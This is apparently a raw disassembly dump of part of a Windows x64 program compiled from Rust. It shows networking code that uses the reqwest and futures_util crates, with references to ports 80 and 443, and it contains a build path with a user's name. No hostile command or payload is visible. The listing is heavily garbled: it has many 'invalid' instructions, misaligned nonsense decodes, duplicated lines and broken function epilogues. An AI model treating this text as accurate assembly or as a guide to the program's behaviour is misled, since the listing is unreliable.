adc byte [rsp + 0xb0], cl
adc byte [rsp + 0xb0], cl
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
invalid
mov eax, dword [rsp + 0xc1]
mov ecx, dword [rsp + 0xc4]
mov dword [rsi + 0x21], eax
mov dword [rsi + 0x24], ecx
mov byte [rsi + 0x20], 1
invalid
add byte [rcx + 0x4e892146], cl
and al, 0xc6
and byte [rcx], r8b
cmp qword [rsp + 0x28], 0
je 0x1400a995f
mov r8, qword [rsp + 0x30]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x85ae1
adc eax, 0x85ae1
nop
add rsp, 0x4c8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, 1
mov edx, 6
add byte [rdx + 6], bh
call fcn.140122170
int3
int3
sub esp, 0x4c8
mov rbx, r8
mov rsi, rdx
mov rdi, rcx
movzx eax, byte [0x14019f308]
mov dh, 5
push rbp
pop rcx
invalid
add byte [rdx + 6], bh
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x1400a9ccd
mov word [rax + 4], 0x2063
mov dword [rax], 0x69736142
mov qword [rsp + 0x28], 6
sub byte [rsi], al
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x30
sub byte [rsi], al
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x30
mov qword [rsp + 0x38], 6
mov byte [rsp + 0x4c2], 0
and al, 0xc2
add al, 0
add byte [rax], al
and al, 0xc2
add al, 0
add byte [rax], al
mov word [rsp + 0x4c0], 0
lea r14, [rsp + 0xa0]
mov r8d, 0x400
mov rcx, r14
add al, 0
add byte [rax], al
add byte [rbp + rcx*4 - 0x4c], cl
and al, 0xa0
add byte [rax], al
add byte [rcx - 0x48], al
add byte [rax + rax], al
add byte [rcx + rcx*4 - 0xf], cl
xor edx, edx
call fcn.140121d00
lea rax, [0x14015c910]
mov qword [rsp + 0x4b8], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x4a0], rax
mov byte [rsp + 0x4c3], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x4a8], xmm0
mov qword [rsp + 0x40], rsi
mov dword [rsp + 0x40], esi
lea r12, [0x140001320]
mov qword [rsp + 0x48], r12
lea rax, [0x14015c788]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 2
mov qword [rsp + 0x80], 0
add byte [rax], al
lea r13, [rsp + 0x40]
mov qword [rsp + 0x70], r13
insb byte [rdi], dx
and al, 0x70
insb byte [rdi], dx
and al, 0x70
mov qword [rsp + 0x78], 1
lea rdx, [rsp + 0x60]
mov rcx, r14
call fcn.14009c850
mov r14, rax
mov esi, eax
and eax, 3
cmp eax, 1
clc
add dword [rbp + 0x4f], esi
mov r15, qword [r14 - 1]
mov rbp, qword [r14 + 7]
mov rax, qword [rbp]
test rax, rax
je 0x1400a9ab7
mov rcx, r15
call rax
dec r14
cmp qword [rbp + 8], 0
je 0x1400a9ade
cmp qword [rbp + 0x10], 0x11
jb 0x1400a9acc
adc dword [rdx + 4], esi
mov r15, qword [r15 - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
pop rcx
or byte [rax], al
xor eax, eax
cmp rax, qword [rbx]
add ecx, dword [rdi]
sbb bh, 0
add byte [rax], al
invalid
add ecx, dword [rdi]
sbb bh, 0
add byte [rax], al
invalid
mov rax, qword [rbx + 0x10]
mov qword [rsp + 0x50], rax
adc byte [r8 - 0x77], cl
and al, 0x50
movups xmm0, xmmword [rbx]
movaps xmmword [rsp + 0x40], xmm0
add ecx, dword [rdi]
sub dword [rsp + 0x40], eax
mov qword [rsp + 0x90], r13
mov qword [rsp + 0x98], r12
lea rax, [0x14018eb28]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*4], ah
and al, 0x80
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rdx*4], ah
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*4], ah
and al, 0x80
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 1
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0x60]
call fcn.14009c850
mov rbx, rax
and eax, 3
cmp eax, 1
jne 0x1400a9bbe
mov r14, qword [rbx - 1]
mov r15, qword [rbx + 7]
mov rax, qword [r15]
test rax, rax
je 0x1400a9b85
dec ebx
cmp qword [r15 + 8], 0
je 0x1400a9bac
cmp qword [r15 + 0x10], 0x11
jb 0x1400a9b9a
mov r14, qword [r14 - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14019f258]
or eax, 0xf56a5
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x40], 0
je 0x1400a9bda
mov r8, qword [rsp + 0x48]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0xa0]
call fcn.14009d5c0
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x38]
test r8, r8
je 0x1400a9c44
xor eax, eax
jmp 0x1400a9c0d
add byte [rax + 0x16747ff9], al
cmp cl, 0x7f
je 0x1400a9c1b
inc rax
cmp r8, rax
je 0x1400a9c47
movzx ecx, byte [rdx + rax]
cmp cl, 0x1f
invalid
ja 0x1400a9c00
invalid
cmp cl, 9
je 0x1400a9c05
lea rax, [0x14015cad8]
mov qword [rsp + 0x20], rax
lea rcx, str.base64_is_always_valid_HeaderValueC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_srcutil.rs
lea r9, [0x14015c480]
lea r8, [rsp + 0x60]
mov edx, 0x22
call fcn.140122900
xor r8d, r8d
lea rcx, [rsp + 0xa0]
call fcn.140007d10
movups xmm0, xmmword [rsp + 0xa0]
adc byte [rsp + 0xa0], al
movups xmm1, xmmword [rsp + 0xb0]
movups xmmword [rdi + 0x10], xmm1
movups xmmword [rdi], xmm0
mov eax, dword [rsp + 0xc1]
mov ecx, dword [rsp + 0xc4]
and al, 0xc4
add byte [rax], al
add byte [rcx + 0x4f892147], cl
and al, 0xc6
and byte [r9], r8b
cmp qword [rsp + 0x28], 0
and al, 0x28
invalid
cmp dword [rsp + 0x28], 0
je 0x1400a9c9f
mov r8, qword [rsp + 0x30]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
add byte [rcx], dh
sar bh, cl
adc eax, 0x857a1
cmp qword [rsi], 0
je 0x1400a9cb8
mov r8, qword [rsi + 8]
mov rcx, qword [0x14019f258]
invalid
add byte [rcx], dh
sar bh, cl
adc eax, 0x85788
nop
add rsp, 0x4c8
add byte [rax], al
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
ret
mov ecx, 1
mov edx, 6
call fcn.140122170
int3
cmp byte [rsi], 2
jb 0x1400a9d7b
mov rdi, qword [rsi + 8]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsi + 0x28]
mov rax, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
call qword [rax + 0x10]
mov rax, qword [rsi + 0x30]
mov rdx, qword [rsi + 0x38]
mov rax, qword [rax + 0x10]
mov r8, qword [rsi + 0x40]
add rsi, 0x48
mov rcx, rsi
add rsp, 0x28
pop rdi
pop rsi
jmp rax
call fcn.1400ca680
mov rax, qword [rsi + 0x60]
lock dec qword [rax]
jne 0x1400a9d4e
mov rcx, qword [rsi + 0x60]
mov rdx, qword [rsi + 0x68]
mov edx, dword [rsi + 0x68]
mov edx, dword [rsi + 0x68]
call case.0x14009a20c.177
cmp byte [rsi], 2
jae 0x1400a9d53
jmp 0x1400a9d7b
int3
xor al, byte [rcx]
add byte [rax], al
lea rcx, [rdi + 0x70]
mov qword [rsp + 0x80], rcx
lea rcx, [0x140194bc8]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add rax, rcx
jmp rax
mov r13, qword [rdi + 0xc8]
mov rcx, qword [rsp + 0x80]
jmp 0x1400a9ec6
mov byte [rdi + 0x133], 0
add byte [rax], al
lea r12, [rdi + 0xd0]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmm3, xmmword [rcx + 0x30]
movups xmmword [rdi + 0xd0], xmm0
movups xmmword [rdi + 0xe0], xmm1
movups xmmword [rdi + 0xf0], xmm2
movups xmmword [rdi + 0x100], xmm3
movdqu xmm0, xmmword [rcx + 0x40]
movdqu xmmword [rdi + 0x110], xmm0
add byte [rax - 0x77], cl
mov word [rax + rax*4], fs
add byte [rax], al
add byte [rax - 0x75], cl
push r8
mov qword [rdi + 0x120], rax
mov qword [rdi + 0x128], r13
mov rcx, qword [r13]
movzx eax, byte [rdi + 0xd0]
cmp byte [rcx + 0x60], 0
je 0x1400a9f8b
test al, al
je 0x1400a9f4e
sal byte [rbp + 0x45], 0xf
mov dh, 5
mov bl, 0x53
sldt word [rcx - 0x41]
invalid
test al, al
je 0x1400aa0e3
mov rdx, qword [rdi + 0xf0]
test rdx, rdx
je 0x1400a9ff6
mov rcx, qword [rdi + 0xe8]
call case.0x1400dd9c6.1014
invalid
invalid
idiv edi
invalid
idiv edi
test rax, rax
je 0x1400a9ff6
mov r15, rax
mov r14, rdx
mov r8, qword [rdi + 0xf0]
mov eax, dword [rdi + 0xf0]
mov eax, dword [rdi + 0xf0]
test r8, r8
je 0x1400aa1fa
mov rdx, qword [rdi + 0xe8]
lea rcx, [rsp + 0x3f8]
call fcn.1400233e0
cmp qword [rsp + 0x3f8], 0
je 0x1400aa1fa
movzx esi, word [rsp + 0x408]
jmp 0x1400aa27e
movzx eax, byte [0x14019f308]
mov r15d, 0x1c
or edx, dword [rbx + 0xf]
add byte [rcx - 0x41], al
sbb al, 0
add byte [rax], al
mov edx, 0x1c
sbb al, 0
add byte [rax], al
xor ecx, ecx
call fcn.1400f8ae0
add al, 0
test rax, rax
je 0x1400aba8b
test byte [rbx + 0x1a], dh
add byte [rax], al
test byte [rbx + 0x1a], dh
add byte [rax], al
mov r12, rax
movups xmm0, xmmword [0x140147091]
add eax, 0x9d06f
add eax, 0x9d06f
movups xmmword [rax + 0xc], xmm0
adc dword [rax + 0xc], eax
movdqu xmm0, xmmword [0x140147085]
outsd dx, dword [rsi]
add eax, 0x9d057
jmp 0x1400aa11b
lea rax, [rdi + 0xb28]
mov qword [rsp + 0x30], rax
add byte [rax - 0x77], cl
and al, 0x30
movzx eax, byte [rdi + 0xb28]
lea r13, [rdi + 0x138]
cmp byte [rcx], al
add byte [rax], al
cmp byte [rcx], al
add byte [rax], al
lea rcx, [0x140194bdc]
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
add rax, rcx
jmp rax
lea rax, [rdi + 0xea8]
mov qword [rsp + 0x48], rax
movzx eax, byte [rdi + 0xea8]
test eax, eax
je 0x1400aade4
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x38], ebp
cmp eax, 3
jne case.default.0x1400aa0a2
add byte [rax], al
add byte [rax], al
lea r13, [rdi + 0xd20]
movzx eax, byte [rdi + 0xdb0]
and byte [0xf619a08f], cl
xchg dword [rax + 0x4800000d], esi
lea rcx, [0x140194c0c]
lea rcx, [0x140194c0c]
invalid
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rbx, [rdi + 0x179]
movzx eax, byte [rdi + 0x179]
xchg dword [rcx + 1], edi
add byte [rax], al
xchg dword [rcx + 1], edi
add byte [rax], al
lea r14, [rdi + 0x158]
lea rcx, [0x140194bf8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov r13, qword [rdi + 0x170]
mov r12, qword [rdi + 0x158]
mov rbp, qword [rdi + 0x160]
jmp 0x1400aa5fd
movdqu xmmword [r12], xmm0
xor r13d, r13d
xor esi, esi
mov ebp, 2
cmp byte [rdi + 0xd0], 2
jb 0x1400aa15f
mov r14, qword [rdi + 0xd8]
lea rcx, [r14 + 0x18]
mov rax, qword [r14]
mov rdx, qword [r14 + 8]
mov r8, qword [r14 + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14019f258]
push rcx
invalid
add byte [rcx], dh
ror byte [rbp - 0x77], cl
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
push rcx
invalid
lea rcx, [rdi + 0xf8]
mov rax, qword [rdi + 0xe0]
mov rdx, qword [rdi + 0xe8]
mov r8, qword [rdi + 0xf0]
mov eax, dword [rdi + 0xf0]
add byte [rax - 0x75], cl
xchg eax, esp
add byte [rax], al
add byte [rax - 0x75], cl
xchg edi, eax
call 0x18c0aa175
mov eax, dword [rdi + 0xf0]
call qword [rax + 0x10]
lea rcx, [rdi + 0x118]
invalid
sbb byte [rcx], al
add byte [rax], al
mov rax, qword [rdi + 0x100]
mov rdx, qword [rdi + 0x108]
add byte [rbx + rcx*4 - 0x79], cl
adc byte [rcx], al
add byte [rax], al
invalid
add byte [rbx + rcx*4 - 0x79], cl
adc byte [rcx], al
add byte [rax], al
mov eax, dword [rdi + 0x110]
call qword [rax + 0x10]
mov byte [rdi + 0x132], 1
mov rcx, qword [rsp + 0x80]
call fcn.1400acd00
sub r8, qword [r8]
add byte [rax - 0x75], cl
pop r8
mov word [rax + rax*4], fs
add byte [rax], al
add al, ch
sub r8, qword [r8]
add byte [rax - 0x75], cl
pop r8
lock dec qword [rax]
dec qword [rax]
jne 0x1400aa1c4
or dword [rax - 0x75], ecx
pop r8
mov rcx, qword [rdi + 0x58]
call fcn.1400ca680
mov rax, qword [rdi + 0x60]
lock dec qword [rax]
jne 0x1400aa1db
mov rcx, qword [rdi + 0x60]
mov rdx, qword [rdi + 0x68]
call case.0x14009a20c.177
invalid
mov rax, qword [rsp + 0x50]
and al, 0x50
mov qword [rax], rbp
mov dword [rax], ebp
mov qword [rax + 8], r12
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r13
sbb byte [rax - 0x77], cl
jo 0x1400aa213
jo 0x1400aa213
mov cl, 1
jmp 0x1400ac6e1
cmp byte [r12], 0
je 0x1400aa27a
invalid
jns case.0x1400a3e60.15
lea rdx, [0x14015db88]
lea edx, [0x14015db88]
cmp dword [rbx], ecx
add byte [rcx + rcx*4 - 0x1f], cl
mov rcx, r12
call fcn.1400260b0
test al, al
mov eax, 0x1bb
mov esi, 0x50
mov ebx, 0xbe000001
push rax
add byte [rax], al
add byte [rdi], cl
invalid
cmovne esi, eax
jmp 0x1400aa27e
pop rbp
pop rbp
mov rdx, qword [rdi + 0x180]
mov edx, dword [rdi + 0x180]
mov r9, qword [rdi + 0x188]
jmp 0x1400aa673
add byte [rax], al
add byte [rax], al
mov rdx, qword [rdi + 0xb30]
test rdx, rdx
jne 0x1400ab62b
add byte [rax - 0x7b], cl
ror byte [rdi], cl
test edi, esp
adc eax, dword [rax]
add bl, ch
adc byte [rax - 0x75], cl
mov rdx, qword [rdi + 0xb38]
jmp 0x1400aa256
mov rdx, qword [rdi + 0xb38]
or eax, dword [rax]
add byte [rax - 0x7b], cl
ror byte [rdi], cl
test dword [rcx + 0x12], edi
add byte [rax], al
test rdx, rdx
jne case.0x1400895f5.508
lea rcx, str.cannot_poll_Select_twiceC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_select.rs
out dx, al
or al, byte [rax]
lea r8, [0x140159148]
mov edx, 0x18
call fcn.140122a20
mov rdx, qword [rdi + 0xb60]
jmp 0x1400ab791
mov si, 0x50
mov word [rdi + 0x130], si
lea rax, [r15 + r14]
mov rdx, r14
sub rdx, rax
xor r10d, r10d
jmp 0x1400aa2b1
lea r10, [r8 + 1]
add r10, rdx
cmp r9d, 0x5b
jne 0x1400aa343
cmp r10, r14
je 0x1400aa33e
mov rcx, r10
lea r8, [r15 + r10]
movzx r10d, byte [r8]
movzx r9d, r10b
test r9b, r9b
jns 0x1400aa2a0
mov r11d, r9d
and r11d, 0x1f
movzx ebx, byte [r8 + 1]
and ebx, 0x3f
cmp r9b, 0xdf
jbe 0x1400aa31b
movzx r9d, byte [r8 + 2]
shl ebx, 6
and r9d, 0x3f
or r9d, ebx
cmp r10b, 0xf0
jb 0x1400aa32e
lea r10, [r8 + 4]
movzx ebx, byte [r8 + 3]
and r11d, 7
shl r11d, 0x12
shl r9d, 6
and ebx, 0x3f
or ebx, r9d
or ebx, r11d
mov r9d, ebx
jmp 0x1400aa2a4
lea r10, [r8 + 2]
shl r11d, 6
or r11d, ebx
mov r9d, r11d
jmp 0x1400aa2a4
lea r10, [r8 + 3]
shl r11d, 0xc
or r9d, r11d
jmp 0x1400aa2a4
mov rcx, r14
jmp 0x1400aa346
mov rax, r8
sub r14, rcx
add r15, rcx
jmp 0x1400aa35b
dec r14
sub r14, rax
cmp ecx, 0x5d
jne 0x1400aa3cc
test r14, r14
je 0x1400aa3de
mov rbp, r14
add r14, r15
movsx ecx, byte [r14 - 1]
test ecx, ecx
jns 0x1400aa350
movzx edx, byte [r14 - 2]
cmp dl, 0xc0
jge 0x1400aa39e
movzx r8d, byte [r14 - 3]
cmp r8b, 0xc0
jge 0x1400aa3a7
movzx r9d, byte [r14 - 4]
add r14, 0xfffffffffffffffc
and r9d, 7
shl r9d, 6
and r8d, 0x3f
or r8d, r9d
jmp 0x1400aa3af
add r14, 0xfffffffffffffffe
and edx, 0x1f
jmp 0x1400aa3b9
add r14, 0xfffffffffffffffd
and r8d, 0xf
shl r8d, 6
and edx, 0x3f
or edx, r8d
shl edx, 6
and cl, 0x3f
movzx ecx, cl
or ecx, edx
sub r14, rax
cmp ecx, 0x5d
je 0x1400aa35b
lea r12, [rdi + 0x138]
cmp rbp, 0xf
jbe 0x1400aa3e7
jmp 0x1400aa469
lea r12, [rdi + 0x138]
xor ebp, ebp
mov qword [rsp + 0x3f8], r15
mov qword [rsp + 0x400], rbp
lea rcx, [rsp + 0x3f8]
call fcn.14000b6f0
cmp qword [rsp + 0x400], 0
sete cl
mov edx, eax
and dl, cl
and rax, 0xffffffffffffff00
test dl, dl
mov ebx, 0x100
cmovne rbx, rax
cmp dl, 1
jne 0x1400aa469
movzx eax, byte [0x14019f308]
mov edx, 0x20
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x1400abacd
mov rcx, rbx
shr rcx, 8
and ecx, 0xffffff00
movzx edx, bh
or edx, ecx
mov word [rax], 0
mov dword [rax + 2], edx
mov word [rax + 6], si
jmp 0x1400aa51b
mov qword [rsp + 0x140], r15
mov qword [rsp + 0x148], rbp
lea rcx, [rsp + 0x3f8]
lea rdx, [rsp + 0x140]
call fcn.14000ba20
cmp qword [rsp + 0x148], 0
jne 0x1400aa57f
test byte [rsp + 0x3f8], 1
je 0x1400aa57f
movzx ebx, byte [rsp + 0x3f9]
mov rax, qword [rsp + 0x3fa]
mov qword [rsp + 0x340], rax
mov rax, qword [rsp + 0x401]
mov qword [rsp + 0x347], rax
movzx eax, byte [0x14019f308]
mov edx, 0x20
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x1400abacd
mov word [rax], 1
mov byte [rax + 4], bl
mov rcx, qword [rsp + 0x340]
mov rdx, qword [rsp + 0x347]
mov qword [rax + 5], rcx
mov qword [rax + 0xc], rdx
mov qword [rax + 0x14], 0
mov word [rax + 0x1c], si
mov rcx, rax
add rcx, 0x20
mov qword [rdi + 0x138], rax
mov qword [rdi + 0x140], rax
mov qword [rdi + 0x148], 1
mov qword [rdi + 0x150], rcx
mov byte [rdi + 0x133], 1
mov r10, qword [rdi + 0x138]
test r10, r10
jne 0x1400aa59a
test rbp, rbp
in eax, dx
je 0x1400aa5b6
js 0x1400abb03
movzx eax, byte [0x14019f308]
xor ecx, ecx
mov rdx, rbp
invalid
call fcn.1400f8ae0
test rax, rax
je 0x1400abb0d
invalid
mov r12, rax
mov esp, eax
jmp 0x1400aa5bc
mov qword [r12], 0
mov byte [rdi + 0x133], 1
mov r10, qword [rdi + 0x138]
test r10, r10
je 0x1400aa555
mov rsi, rdi
mov r14, qword [r12 + 8]
mov rbx, qword [r12 + 0x10]
mov rdi, qword [r12 + 0x18]
mov r15, qword [rsp + 0x58]
jmp 0x1400aaae1
invalid
add byte [rax], al
mov r12d, 1
add r13, 8
mov rcx, r12
mov rdx, r15
mov r8, rbp
call fcn.140121660
lea r14, [rdi + 0x158]
mov qword [rdi + 0x158], r12
cmpsd dword [rsi], dword [rdi]
pop rax
add dword [rax], eax
add byte [rax - 0x77], cl
scasd eax, dword [rdi]
invalid
add dword [rax], eax
add byte [rcx + rcx*4 - 0x51], cl
jo 0x1400aa5e9
add dword [rax], eax
add byte [rax - 0x73], cl
lahf
jns 0x1400aa5f0
add byte [rax], al
cmpsd dword [rsi], dword [rdi]
pop rax
add dword [rax], eax
add byte [rax - 0x77], cl
scasd eax, dword [rdi]
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
lahf
jns 0x1400aa5f0
add byte [rax], al
add dh, al
xchg dword [rcx + 1], edi
add byte [rax], al
mov byte [rdi + 0x179], 0
mov r15, qword [rsp + 0x58]
add byte [rbx + rcx*4 + 0x7c], cl
and al, 0x58
lea rax, [rdi + 0x168]
mov qword [rdi + 0x168], r13
mov byte [rdi + 0x178], 1
mov qword [rdi + 0x188], r12
mov qword [rdi + 0x190], rbp
mov qword [rdi + 0x180], rax
mov byte [rdi + 0x178], 0
mov rax, qword [rdi + 0x168]
mov rdx, qword [rdi + 0x188]
mov r8, qword [rdi + 0x190]
mov rcx, qword [rax]
mov rax, qword [rax + 8]
mov r9, qword [rax + 0x10]
dec r9
and r9, 0xfffffffffffffff0
add rcx, r9
add rcx, 0x10
call qword [rax + 0x18]
mov r9, rdx
mov rdx, rax
mov qword [rdi + 0x180], rax
mov qword [rdi + 0x188], r9
lea rcx, [rsp + 0x3f8]
mov r8, r15
call qword [r9 + 0x18]
mov rsi, qword [rsp + 0x3f8]
cmp rsi, 2
jne 0x1400aa69f
mov byte [rbx], 4
mov cl, 3
mov rax, qword [rsp + 0x50]
jmp 0x1400ac6ce
mov r13, qword [rsp + 0x400]
mov rax, qword [rsp + 0x408]
mov qword [rsp + 0x48], rax
mov r15, qword [rdi + 0x180]
mov rbx, qword [rdi + 0x188]
mov rax, qword [rbx]
test rax, rax
je 0x1400aa6cf
mov rcx, r15
call rax
cmp qword [rbx + 8], 0
je 0x1400aa6f3
cmp qword [rbx + 0x10], 0x11
jb 0x1400aa6e1
mov r15, qword [r15 - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov word [rdi + 0x178], 0x100
mov rcx, r14
call fcn.1400ac760
test sil, 1
je 0x1400aa78f
movzx eax, byte [0x14019f308]
mov edx, 9
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
mov rsi, qword [rsp + 0x48]
je 0x1400abae8
mov r12, rax
movabs rax, 0x6f72726520736e64
mov qword [r12], rax
mov byte [r12 + 8], 0x72
mov r8, qword [rdi + 0x138]
test r8, r8
je 0x1400aa76b
cmp qword [rdi + 0x148], 0
je 0x1400aa76b
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rdi + 0x133], 0
mov r15d, 9
mov ebp, 2
cmp byte [rdi + 0xd0], 2
jae 0x1400aa134
jmp 0x1400aa15f
mov r14, qword [rsp + 0x48]
mov rax, qword [r14 + 0x18]
lea rcx, [rsp + 0x3f8]
mov rdx, r13
mov qword [rsp + 0x30], rax
call rax
movzx esi, word [rsp + 0x3f8]
cmp si, 2
mov qword [rsp + 0x78], rdi
jne 0x1400aa805
mov rax, qword [r14]
test rax, rax
mov rsi, r14
je 0x1400aa7cd
mov rcx, r13
call rax
mov r14d, 4
cmp qword [rsi + 8], 0
mov r15, qword [rsp + 0x58]
je 0x1400aa7fc
cmp qword [rsi + 0x10], 0x11
jb 0x1400aa7ea
mov r13, qword [r13 - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
xor edi, edi
xor ebx, ebx
jmp 0x1400aaaa2
mov eax, dword [rsp + 0x3fa]
mov dword [rsp + 0x68], eax
movups xmm0, xmmword [rsp + 0x400]
movaps xmmword [rsp + 0x2d0], xmm0
mov eax, dword [rsp + 0x410]
mov dword [rsp + 0x2e0], eax
movzx ebp, word [rsp + 0x416]
movzx ebx, word [rdi + 0x130]
test sil, 1
movzx r15d, word [rsp + 0x3fe]
cmove r15w, bx
cmove bx, word [rsp + 0x414]
mov rax, qword [r14 + 0x20]
lea rcx, [rsp + 0x3f8]
mov qword [rsp + 0x38], r13
mov rdx, r13
mov qword [rsp + 0x70], rax
call rax
mov rax, qword [rsp + 0x3f8]
inc rax
mov rcx, 0xffffffffffffffff
cmovne rcx, rax
cmp rcx, 5
mov eax, 4
mov qword [rsp + 0x60], rax
mov r13d, 4
cmovae r13, rcx
shr rcx, 0x3a
mov r12, r13
shl r12, 5
test rcx, rcx
jne 0x1400abb1a
movzx eax, byte [0x14019f308]
xor ecx, ecx
mov rdx, r12
call fcn.1400f8ae0
test rax, rax
je 0x1400abb23
mov r14, rax
mov word [rax], si
mov eax, dword [rsp + 0x68]
mov dword [r14 + 2], eax
mov word [r14 + 6], r15w
movdqa xmm0, xmmword [rsp + 0x2d0]
movdqu xmmword [r14 + 8], xmm0
mov eax, dword [rsp + 0x2e0]
mov dword [r14 + 0x18], eax
mov word [r14 + 0x1c], bx
mov word [r14 + 0x1e], bp
mov qword [rsp + 0x140], r13
mov qword [rsp + 0x148], r14
mov qword [rsp + 0x150], 1
mov edi, 1
mov esi, 0x20
jmp 0x1400aa97a
mov word [r14 + rsi], r12w
mov dword [r14 + rsi + 2], ebx
mov word [r14 + rsi + 6], r13w
movdqa xmm0, xmmword [rsp + 0x90]
movdqu xmmword [r14 + rsi + 8], xmm0
jg 0x1400aa992
or byte ss:[rbx + 0xa02484], cl
add byte [rax], al
jg 0x1400aa992
or byte ss:[rbx + 0xa02484], cl
add byte [rax], al
mov dword [r14 + rsi + 0x18], eax
mov word [r14 + rsi + 0x1c], r15w
mov word [r14 + rsi + 0x1e], bp
inc rcx
mov rdi, rcx
mov qword [rsp + 0x150], rcx
add rsi, 0x20
lea rcx, [rsp + 0x3f8]
mov rbx, qword [rsp + 0x38]
mov rdx, rbx
call qword [rsp + 0x30]
movzx r12d, word [rsp + 0x3f8]
cmp r12w, 2
and al, 0xf8
add eax, dword [rax]
add byte [rsi + 0x41], ah
cmp esp, 2
je 0x1400aaa4f
lea rax, [rsp + 0x400]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x90], xmm0
mov eax, dword [rax + 0x10]
mov dword [rsp + 0xa0], eax
mov rax, qword [rsp + 0x78]
movzx r15d, word [rax + 0x130]
test r12b, 1
movzx r13d, word [rsp + 0x3fe]
cmove r13w, r15w
cmove r15w, word [rsp + 0x414]
mov ebx, dword [rsp + 0x3fa]
movzx ebp, word [rsp + 0x416]
mov rcx, rdi
cmp rdi, qword [rsp + 0x140]
jne 0x1400aa930
lea rcx, [rsp + 0x3f8]
mov rdx, qword [rsp + 0x38]
cmp bh, bh
push rsp
and al, 0x70
cmp bh, bh
push rsp
and al, 0x70
mov r8, qword [rsp + 0x3f8]
inc r8
mov rax, 0xffffffffffffffff
cmove r8, rax
lea rcx, [rsp + 0x140]
mov rdx, rdi
call fcn.140127690
mov rcx, rdi
mov r14, qword [rsp + 0x148]
jmp 0x1400aa930
mov rsi, qword [rsp + 0x48]
mov rax, qword [rsi]
test rax, rax
je 0x1400aaa61
mov rcx, rbx
call rax
cmp qword [rsi + 8], 0
mov r15, qword [rsp + 0x58]
je 0x1400aaa92
cmp qword [rsi + 0x10], 0x11
jb 0x1400aaa78
mov rbx, qword [rbx - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsp + 0x150]
mov rbx, qword [rsp + 0x140]
mov r14, qword [rsp + 0x148]
shl rdi, 5
add rdi, r14
mov rax, qword [rsp + 0x78]
lea r12, [rax + 0x138]
mov rcx, qword [rax + 0x138]
test rcx, rcx
je 0x1400aaadb
test byte [rax + 0x133], 1
je 0x1400aaadb
mov rsi, rax
mov rdx, qword [rax + 0x148]
call case.0x1400ba770.154
jmp 0x1400aaade
mov rsi, rax
mov r10, r14
mov byte [rsi + 0x133], 0
mov qword [rsp + 0x78], rsi
mov rax, qword [rsi + 0x128]
mov rsi, qword [rax]
mov ecx, dword [rsi + 0x48]
cmp ecx, 0x3b9aca00
jne 0x1400aab55
mov r11, r10
mov ecx, dword [rsi + 0x38]
mov eax, 2
cmp ecx, 0x3b9aca00
je 0x1400aabf5
mov r10, rdi
sub r10, r14
shr r10, 5
test r10d, r10d
